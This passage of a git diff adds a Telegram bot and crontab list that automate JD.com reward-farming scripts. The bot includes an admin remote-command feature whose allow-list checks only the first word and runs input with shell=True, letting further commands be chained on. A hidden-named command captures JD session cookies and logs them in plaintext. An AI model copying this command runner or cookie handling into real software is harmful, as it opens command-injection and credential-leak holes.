keyboard_line.append(keyboard_column) + + keyboard_line.append( + [InlineKeyboardButton('取消操作', callback_data='cancel')]) + + reply_markup = InlineKeyboardMarkup(keyboard_line) + elif cmd_type == 'git': + # button_list = list(set(get_crontab_list(cmd_type))) + # button_list.sort() + keyboard_line = [[InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + # for i in range(math.ceil(len(button_list) / 2)): + # ret = button_list[0:2] + # keyboard_column = [] + # for ii in ret: + # keyboard_column.append(InlineKeyboardButton( + # ii.split('/')[-1], callback_data=ii)) + # button_list.remove(ii) + # keyboard_line.append(keyboard_column) + # if len(keyboard_line) < 1: + # keyboard_line.append( + # [InlineKeyboardButton('git pull', callback_data='git -C %s pull' % _base_dir), + # InlineKeyboardButton('git reset --hard', callback_data='git -C %s reset --hard' % _base_dir)]) + reply_markup = InlineKeyboardMarkup(keyboard_line) + else: + reply_markup = InlineKeyboardMarkup( + [[InlineKeyboardButton('没找到对的命令操作按钮', callback_data='cancel')]]) + + return reply_markup + + +def get_crontab_list(cmd_type): + """获取任务列表里面的node相关的定时任务 + + Parameters + ---------- + cmd_type: 是任务的命令类型 + # item_idx: 确定取的需要取之是定任务里面第几个空格后的值作为后面执行指令参数 + + Returns + ------- + 返回一个指定命令类型定时任务列表 + """ + button_list = [] + try: + with open(_docker_dir + crontab_list_file) as lines: + array = lines.readlines() + for i in array: + i = i.replace('|ts', '').strip('\n') + if i.startswith('#') or len(i) < 5: + pass + else: + items = i.split('>>') + item_sub = items[0].split()[5:] + # logger.info(item_sub[0]) + if cmd_type.find(item_sub[0]) > -1: + if cmd_type == 'spnode': + # logger.info(str(' '.join(item_sub)).replace('node','spnode')) + button_list.append(str(' '.join(item_sub)).replace('node', 'spnode')) + else: + button_list.append(' '.join(item_sub)) + elif cmd_type == 'crontab_l': + button_list.append(items[0]) + except: + logger.warning(f'读取定时任务配置文件 {crontab_list_file} 出错') + finally: + return button_list + + +def get_dir_file_list(dir_path, file_type): + """获取传入的路径下的文件列表 + + Parameters + ---------- + dir_path: 完整的目录路径,不需要最后一个 + file_type: 或者文件的后缀名字 + + Returns + ------- + 返回一个完整绝对路径的文件列表,方便读取 + """ + cmd = 'ls %s*.%s' % (dir_path, file_type) + file_list = [] + try: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=5, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + file_list = out_text.split() + except: + logger.warning(f'{dir_path}目录下,不存在{file_type}对应的文件') + finally: + return file_list + + +def is_admin(from_user_id): + if str(admin_id) == str(from_user_id): + return True + else: + return False + + +class CodeConf(object): + def __init__(self, bot_id, submit_code, log_name, activity_code, find_split_char): + self.bot_id = bot_id + self.submit_code = submit_code + self.log_name = log_name + self.activity_code = activity_code + self.find_split_char = find_split_char + + def get_submit_msg(self): + code_list = [] + ac = self.activity_code if self.activity_code != "@N" else "" + try: + with open("%s%s" % (_logs_dir, self.log_name), 'r') as lines: + array = lines.readlines() + for i in array: + # print(self.find_split_char) + if i.find(self.find_split_char) > -1: + code_list.append(i.split(self.find_split_char)[ + 1].replace('\n', '')) + if self.activity_code == "@N": + return '%s %s' % (self.submit_code, + "&".join(list(set(code_list)))) + else: + return '%s %s %s' % (self.submit_code, ac, + "&".join(list(set(code_list)))) + except: + return "%s %s活动获取系统日志文件异常,请检查日志文件是否存在" % (self.submit_code, ac) + + +def gen_long_code(update, context): + """ + 长期活动互助码提交消息生成 + """ + long_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("long"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + long_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in long_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_temp_code(update, context): + """ + 短期临时活动互助码提交消息生成 + """ + temp_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("temp"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + temp_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in temp_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的短期临时活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def gen_daily_code(update, context): + """ + 每天变化互助码活动提交消息生成 + """ + daily_code_conf = [] + bot_list = [] + try: + with open(_share_code_conf, 'r') as lines: + array = lines.readlines() + for i in array: + if i.startswith("daily"): + bot_list.append(i.split('-')[1]) + code_conf = CodeConf( + i.split('-')[1], i.split('-')[2], i.split('-')[3], i.split('-')[4], + i.split('-')[5].replace('\n', '')) + daily_code_conf.append(code_conf) + + for bot in list(set(bot_list)): + for cf in daily_code_conf: + if cf.bot_id == bot: + print() + context.bot.send_message(chat_id=update.effective_chat.id, text=cf.get_submit_msg()) + context.bot.send_message(chat_id=update.effective_chat.id, text="以上为 %s 可以提交的每天变化活动互助码" % bot) + except: + context.bot.send_message(chat_id=update.effective_chat.id, + text="获取互助码消息生成配置文件失败,请检查%s文件是否存在" % _share_code_conf) + + +def shcmd(update, context): + """ + 执行终端命令,超时时间为60,执行耗时或者不退出的指令会报超时异常 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/cmd') + if len(commands) > 0: + support_cmd = ["echo", "ls", "pwd", "cp", "mv", "ps", "wget", "cat", "sed", "git", "apk", "sh", + "docker_entrypoint.sh"] + if commands[0] in support_cmd: + sp_cmd = ["sh", "docker_entrypoint.sh"] + cmd = ' '.join(commands) + try: + # 测试发现 subprocess.check_output 执行shell 脚本文件的时候无法正常执行获取返回结果 + # 所以 ["sh", "docker_entrypoint.sh"] 指令换为 subprocess.Popen 方法执行 + out_text = "" + if commands[0] in sp_cmd: + p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + while p.poll() is None: + line = p.stdout.readline() + # logger.info(line.decode('utf-8')) + out_text = out_text + line.decode('utf-8') + else: + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=60, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + + if len(out_text.split('\n')) > 50: + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'cmd', commands[0]) + with open(log_name, 'w') as wf: + wf.write(out_text) + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except Exception as e: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + logger.error(e) + else: + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown( + f' →→→ {commands[0]}指令不在支持命令范围,请输入其他支持的指令{"|".join(support_cmd)} ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text( + text='```{}```'.format(helpers.escape_markdown(' →→→ 请在/cmd 后写自己需要执行的指的命令 ←←← ')), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +# getSToken请求获取,s_token用于发送post请求是的必须参数 +s_token = "" +# getSToken请求获取,guid,lsid,lstoken用于组装cookies +guid, lsid, lstoken = "", "", "" +# 由上面参数组装生成,getOKLToken函数发送请求需要使用 +cookies = "" +# getOKLToken请求获取,token用户生成二维码使用、okl_token用户检查扫码登录结果使用 +token, okl_token = "", "" +# 最终获取到的可用的cookie +jd_cookie = "" + + +def get_jd_cookie(update, context): + getSToken() + getOKLToken() + + qr_code_path = genQRCode() + photo_file = open(qr_code_path, 'rb') + photo_message = context.bot.send_photo(chat_id=update.effective_chat.id, photo=photo_file, + caption="请使用京东APP扫描二维码获取Cookie(二维码有效期:3分钟)") + photo_file.close() + + return_msg = chekLogin() + if return_msg == 0: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.send_message(chat_id=update.effective_chat.id, text="获取Cookie成功\n`%s`" % jd_cookie, + parse_mode=ParseMode.MARKDOWN_V2) + + elif return_msg == 21: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text="二维码已经失效,请重新获取") + else: + context.bot.delete_message(chat_id=update.effective_chat.id, message_id=photo_message.message_id) + context.bot.edit_message_text(chat_id=update.effective_chat.id, message_id=photo_message.message_id, + text=return_msg) + + +def getSToken(): + time_stamp = int(time.time() * 1000) + get_url = 'https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp + get_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=%s&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com' + } + try: + resp = requests.get(url=get_url, headers=get_header) + parseGetRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + logger.info(resp.json()) + except Exception as error: + logger.exception("Get网络请求异常", error) + + +def parseGetRespCookie(headers, get_resp): + global s_token + global cookies + s_token = get_resp.get('s_token') + set_cookies = headers.get('set-cookie') + logger.info(set_cookies) + + guid = re.findall(r"guid=(.+?);", set_cookies)[0] + lsid = re.findall(r"lsid=(.+?);", set_cookies)[0] + lstoken = re.findall(r"lstoken=(.+?);", set_cookies)[0] + + cookies = f"guid={guid}; lang=chs; lsid={lsid}; lstoken={lstoken}; " + logger.info(cookies) + + +def getOKLToken(): + post_time_stamp = int(time.time() * 1000) + post_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=%s&v=%s&remember=true' % ( + s_token, post_time_stamp) + post_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % post_time_stamp, + 'source': 'wq_passport' + } + post_header = { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'Cookie': cookies, + 'Referer': 'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % post_time_stamp, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + 'Host': 'plogin.m.jd.com', + } + try: + global okl_token + resp = requests.post(url=post_url, headers=post_header, data=post_data, timeout=20) + parsePostRespCookie(resp.headers, resp.json()) + logger.info(resp.headers) + except Exception as error: + logger.exception("Post网络请求错误", error) + + +def parsePostRespCookie(headers, data): + global token + global okl_token + + token = data.get('token') + print(headers.get('set-cookie')) + okl_token = re.findall(r"okl_token=(.+?);", headers.get('set-cookie'))[0] + + logger.info("token:" + token) + logger.info("okl_token:" + okl_token) + + +def genQRCode(): + global qr_code_path + cookie_url = f'https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=%s' % token + version, level, qr_name = myqr.run( + words=cookie_url, + # 扫描二维码后,显示的内容,或是跳转的链接 + version=5, # 设置容错率 + level='H', # 控制纠错水平,范围是L、M、Q、H,从左到右依次升高 + picture='/scripts/docker/bot/jd.png', # 图片所在目录,可以是动图 + colorized=True, # 黑白(False)还是彩色(True) + contrast=1.0, # 用以调节图片的对比度,1.0 表示原始图片。默认为1.0。 + brightness=1.0, # 用来调节图片的亮度,用法同上。 + save_name='/scripts/docker/genQRCode.png', # 控制输出文件名,格式可以是 .jpg, .png ,.bmp ,.gif + ) + return qr_name + + +def chekLogin(): + expired_time = time.time() + 60 * 3 + while True: + check_time_stamp = int(time.time() * 1000) + check_url = 'https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=%s&ou_state=0&okl_token=%s' % ( + token, okl_token) + check_data = { + 'lang': 'chs', + 'appid': 300, + 'returnurl': 'https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action' % check_time_stamp, + 'source': 'wq_passport' + + } + check_header = { + 'Referer': f'https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=%s&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport' % check_time_stamp, + 'Cookie': cookies, + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36', + + } + resp = requests.post(url=check_url, headers=check_header, data=check_data, timeout=30) + data = resp.json() + if data.get("errcode") == 0: + parseJDCookies(resp.headers) + return data.get("errcode") + if data.get("errcode") == 21: + return data.get("errcode") + if time.time() > expired_time: + return "超过3分钟未扫码,二维码已过期。" + + +def parseJDCookies(headers): + global jd_cookie + logger.info("扫码登录成功,下面为获取到的用户Cookie。") + set_cookie = headers.get('Set-Cookie') + pt_key = re.findall(r"pt_key=(.+?);", set_cookie)[0] + pt_pin = re.findall(r"pt_pin=(.+?);", set_cookie)[0] + logger.info(pt_key) + logger.info(pt_pin) + jd_cookie = f'pt_key={pt_key};pt_pin={pt_pin};' + + +def saveFile(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + js_file_name = update.message.document.file_name + if str(js_file_name).endswith(".js"): + save_path = f"{_base_dir}{js_file_name}" + try: + # logger.info(update.message) + file = context.bot.getFile(update.message.document.file_id) + file.download(save_path) + keyboard_line = [[InlineKeyboardButton('node 执行', callback_data='node %s ' % save_path), + InlineKeyboardButton('spnode 执行', + callback_data='spnode %s' % save_path)], + [InlineKeyboardButton('取消操作', callback_data='cancel')]] + + reply_markup = InlineKeyboardMarkup(keyboard_line) + + update.message.reply_text( + text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 上传至/scripts完成,请请选择需要的操作 ↓↓↓ ' % js_file_name)), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + + except Exception as e: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ %s js上传至/scripts过程中出错,请重新尝试。 ←←← " % js_file_name)), + parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='```{}```'.format( + helpers.escape_markdown(" →→→ 抱歉,暂时只开放上传js文件至/scripts目录 ←←← ")), + parse_mode=ParseMode.MARKDOWN_V2) + + +def unknown(update, context): + """回复用户输入不存在的指令 + """ + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + update.message.reply_text(text="⚠️ 您输入了一个错误的指令,请参考说明使用\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme, + parse_mode=ParseMode.HTML) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def error(update, context): + """Log Errors caused by Updates.""" + logger.warning('Update "%s" caused error "%s"', update, context.error) + context.bot.send_message( + 'Update "%s" caused error "%s"', update, context.error) + + +def main(): + global admin_id, bot_token, crontab_list_file + + if 'TG_BOT_TOKEN' in os.environ: + bot_token = os.getenv('TG_BOT_TOKEN') + + if 'TG_USER_ID' in os.environ: + admin_id = os.getenv('TG_USER_ID') + + if 'CRONTAB_LIST_FILE' in os.environ: + crontab_list_file = os.getenv('CRONTAB_LIST_FILE') + else: + crontab_list_file = 'crontab_list.sh' + + logger.info('CRONTAB_LIST_FILE=' + crontab_list_file) + + # 创建更新程序并参数为你Bot的TOKEN。 + updater = Updater(bot_token, use_context=True) + + # 获取调度程序来注册处理程序 + dp = updater.dispatcher + + # 通过 start 函数 响应 '/start' 命令 + dp.add_handler(CommandHandler('start', start)) + + # 通过 start 函数 响应 '/help' 命令 + dp.add_handler(CommandHandler('help', start)) + + # 通过 node 函数 响应 '/node' 命令 + dp.add_handler(CommandHandler('node', node)) + + # 通过 node 函数 响应 '/spnode' 命令 + dp.add_handler(CommandHandler('spnode', spnode)) + + # 通过 git 函数 响应 '/git' 命令 + dp.add_handler(CommandHandler('git', git)) + + # 通过 crontab 函数 响应 '/crontab' 命令 + dp.add_handler(CommandHandler('crontab', crontab)) + + # 通过 logs 函数 响应 '/logs' 命令 + dp.add_handler(CommandHandler('logs', logs)) + + # 通过 cmd 函数 响应 '/cmd' 命令 + dp.add_handler(CommandHandler('cmd', shcmd)) + + # 通过 callback_run 函数 响应相关按钮命令 + dp.add_handler(CallbackQueryHandler(callback_run)) + + # 通过 env 函数 响应 '/env' 命令 + dp.add_handler(CommandHandler('env', env)) + + # 通过 gen_long_code 函数 响应 '/gen_long_code' 命令 + dp.add_handler(CommandHandler('gen_long_code', gen_long_code)) + + # 通过 gen_temp_code 函数 响应 '/gen_temp_code' 命令 + dp.add_handler(CommandHandler('gen_temp_code', gen_temp_code)) + + # 通过 gen_daily_code 函数 响应 '/gen_daily_code' 命令 + dp.add_handler(CommandHandler('gen_daily_code', gen_daily_code)) + + # 通过 get_jd_cookie 函数 响应 '/eikooc_dj_teg' 命令 #别问为啥这么写,有意为之的 + dp.add_handler(CommandHandler('eikooc_dj_teg', get_jd_cookie)) + + # 文件监听 + dp.add_handler(MessageHandler(Filters.document, saveFile)) + + # 没找到对应指令 + dp.add_handler(MessageHandler(Filters.command, unknown)) + + # 响应普通文本消息 + # dp.add_handler(MessageHandler(Filters.text, resp_text)) + + dp.add_error_handler(error) + + updater.start_polling() + updater.idle() + + +# 生成依赖安装列表 +# pip3 freeze > requirements.txt +# 或者使用pipreqs +# pip3 install pipreqs +# 在当前目录生成 +# pipreqs . --encoding=utf8 --force +# 使用requirements.txt安装依赖 +# pip3 install -r requirements.txt +if __name__ == '__main__': + main() diff --git a/docker/bot/requirements.txt b/docker/bot/requirements.txt new file mode 100644 index 0000000..4b29cbe --- /dev/null +++ b/docker/bot/requirements.txt @@ -0,0 +1,5 @@ +python_telegram_bot==13.0 +requests==2.23.0 +MyQR==2.3.1 +telegram==0.0.1 +tzlocal<3.0 diff --git a/docker/bot/setup.py b/docker/bot/setup.py new file mode 100644 index 0000000..a1be8e0 --- /dev/null +++ b/docker/bot/setup.py @@ -0,0 +1,13 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-21 + +from setuptools import setup + +setup( + name='jd-scripts-bot', + version='0.2', + scripts=['jd_bot', ], +) diff --git a/docker/crontab_list.sh b/docker/crontab_list.sh new file mode 100644 index 0000000..4c3d9f3 --- /dev/null +++ b/docker/crontab_list.sh @@ -0,0 +1,229 @@ +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecodeCollection' | xargs rm -rf +#收集助力码 +30 * * * * sh +x /scripts/docker/auto_help.sh collect >> /scripts/logs/auto_help_collect.log 2>&1 + +##############活动############## + +# 东东电竞经理 +20 0-23/2 * * * node /scripts/jd_EsportsManager.js >> /scripts/logs/jd_EsportsManager.log 2>&1 +# 京东资产变动 +30 21 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +# 京东资产变动 +30 21 * * * node /scripts/jd_bean_change_pro.js >> /scripts/logs/jd_bean_change_pro.log 2>&1 +# 领京豆额外奖励 +23 1,12,22 * * * node /scripts/jd_bean_home.js >> /scripts/logs/jd_bean_home.log 2>&1 +# 京豆详情统计 +# 7 7 7 7 7 node /scripts/jd_bean_info.js >> /scripts/logs/jd_bean_info.log 2>&1 +# 京东多合一签到 +5 0 * * * node /scripts/jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +# 美丽研究院 +20 7,12,19 * * * node /scripts/jd_beauty.js >> /scripts/logs/jd_beauty.log 2>&1 +# 美丽研究院--兑换 +20 12 * * * node /scripts/jd_beauty_ex.js >> /scripts/logs/jd_beauty_ex.log 2>&1 +# 化妆馆-种植园自动任务 +# 10 9,11,15,21 * * * node /scripts/jd_beauty_plant.py >> /scripts/logs/jd_beauty_plant.log 2>&1 +# 东东超市兑换奖品 +# 59 23 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +# 京东金融天天试手气 +# 23 10 * * * node /scripts/jd_btdraw.py >> /scripts/logs/jd_btdraw.log 2>&1 +# 领券中心签到 +15 0 * * * node /scripts/jd_ccSign.js >> /scripts/logs/jd_ccSign.log 2>&1 +# 京喜财富岛 +1 * * * * node /scripts/jd_cfd.js >> /scripts/logs/jd_cfd.log 2>&1 +# 京喜财富岛热气球 +# 30 * * * * node /scripts/jd_cfd_loop.js >> /scripts/logs/jd_cfd_loop.log 2>&1 +# 清空购物车 +# 7 7 7 7 7 node /scripts/jd_cleancart.js >> /scripts/logs/jd_cleancart.log 2>&1 +# 摇京豆 +5 0,23 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# 内容鉴赏官 +15 3,6 * * * node /scripts/jd_connoisseur.js >> /scripts/logs/jd_connoisseur.log 2>&1 +# 京东快递-每日抽奖 +13 1,22,23 * * * node /scripts/jd_daily_lottery.js >> /scripts/logs/jd_daily_lottery.log 2>&1 +# 东东乐园 +30 7 * * * node /scripts/jd_ddly.js >> /scripts/logs/jd_ddly.log 2>&1 +# 京东集魔方 +2 0,11 * * * node /scripts/jd_desire.js >> /scripts/logs/jd_desire.log 2>&1 +# 店铺签到 +15 2,14 * * * node /scripts/jd_dpqd.js >> /scripts/logs/jd_dpqd.log 2>&1 +# 京喜工厂 +10 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +# 京喜工厂招工互助 +5 6,18 * * * node /scripts/jd_dreamFactory_help.js >> /scripts/logs/jd_dreamFactory_help.log 2>&1 +# 京喜工厂开团 +1 0 * * * node /scripts/jd_dreamFactory_tuan.js >> /scripts/logs/jd_dreamFactory_tuan.log 2>&1 +# 积分换话费 +33 7 * * * node /scripts/jd_dwapp.js >> /scripts/logs/jd_dwapp.log 2>&1 +# M农场自动化 +# 20 5,12,21 * * * node /scripts/jd_farautomation.js >> /scripts/logs/jd_farautomation.log 2>&1 +# 东东农场互助版 +5 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +# 东东农场好友删减奖励 +10 5,17 * * * node /scripts/jd_fruit_friend.js >> /scripts/logs/jd_fruit_friend.log 2>&1 +# 农场自动收+种4级 +# 7 7 7 7 7 node /scripts/jd_fruit_plant.ts >> /scripts/logs/jd_fruit_plant.log 2>&1 +# 获取互助码 +20 13 * * 6 node /scripts/jd_get_share_code.js >> /scripts/logs/jd_get_share_code.log 2>&1 +# 金榜创造营 +13 1,22 * * * node /scripts/jd_gold_creator.js >> /scripts/logs/jd_gold_creator.log 2>&1 +# 京东金榜 +13 7 * * * node /scripts/jd_gold_sign.js >> /scripts/logs/jd_gold_sign.log 2>&1 +# 早起福利 +30 6 * * * node /scripts/jd_goodMorning.js >> /scripts/logs/jd_goodMorning.log 2>&1 +# 半点京豆雨 +# 30 16-23/1 * * * node /scripts/jd_half_redrain.js >> /scripts/logs/jd_half_redrain.log 2>&1 +# 东东健康社区 +13 0,6,22 * * * node /scripts/jd_health.js >> /scripts/logs/jd_health.log 2>&1 +# 东东健康社区收集能量收集 +5-45/20 * * * * node /scripts/jd_health_collect.js >> /scripts/logs/jd_health_collect.log 2>&1 +# 东东健康社区内部互助 +5 4,14 * * * node /scripts/jd_health_help.js >> /scripts/logs/jd_health_help.log 2>&1 +# 京洞察问卷通知 +35 11 * * * node /scripts/jd_insight.js >> /scripts/logs/jd_insight.log 2>&1 +# 东东工厂_内部互助 +10 0,6-23 * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# 京东赚赚 +10 0 * * * node /scripts/jd_jdzz.js >> /scripts/logs/jd_jdzz.log 2>&1 +# 见缝插针 +15 10 * * * node /scripts/jd_jfcz.js >> /scripts/logs/jd_jfcz.log 2>&1 +# 领金贴 +# 7 7 7 7 7 node /scripts/jd_jin_tie.js >> /scripts/logs/jd_jin_tie.log 2>&1 +# 专属礼 +6 10 * * * node /scripts/jd_jingBeanReceive.js >> /scripts/logs/jd_jingBeanReceive.log 2>&1 +# 汪汪乐园-提现 +3 0 0 * * node /scripts/jd_joy_joy_reward.ts >> /scripts/logs/jd_joy_joy_reward.log 2>&1 +# 汪汪乐园养joy +20 0-23/3 * * * node /scripts/jd_joy_park.js >> /scripts/logs/jd_joy_park.log 2>&1 +# 汪汪乐园养joy +20 0-23/3 * * * node /scripts/jd_joy_park_Mod.js >> /scripts/logs/jd_joy_park_Mod.log 2>&1 +# 汪汪乐园-跑步+组队 +30 0 * * * node /scripts/jd_joy_park_run.ts >> /scripts/logs/jd_joy_park_run.log 2>&1 +# 汪汪乐园每日任务 +0 1,7,20 * * * node /scripts/jd_joy_park_task.js >> /scripts/logs/jd_joy_park_task.log 2>&1 +# 汪汪乐园每日任务 +0 0,7,9,17,20 * * * node /scripts/jd_joy_park_task_Mod.js >> /scripts/logs/jd_joy_park_task_Mod.log 2>&1 +# 汪汪赛跑-提现10元 +# 2 0 0 * * node /scripts/jd_joy_run_reward.ts >> /scripts/logs/jd_joy_run_reward.log 2>&1 +# 京东金融每周领取权益活动 +10 17 6 12 * 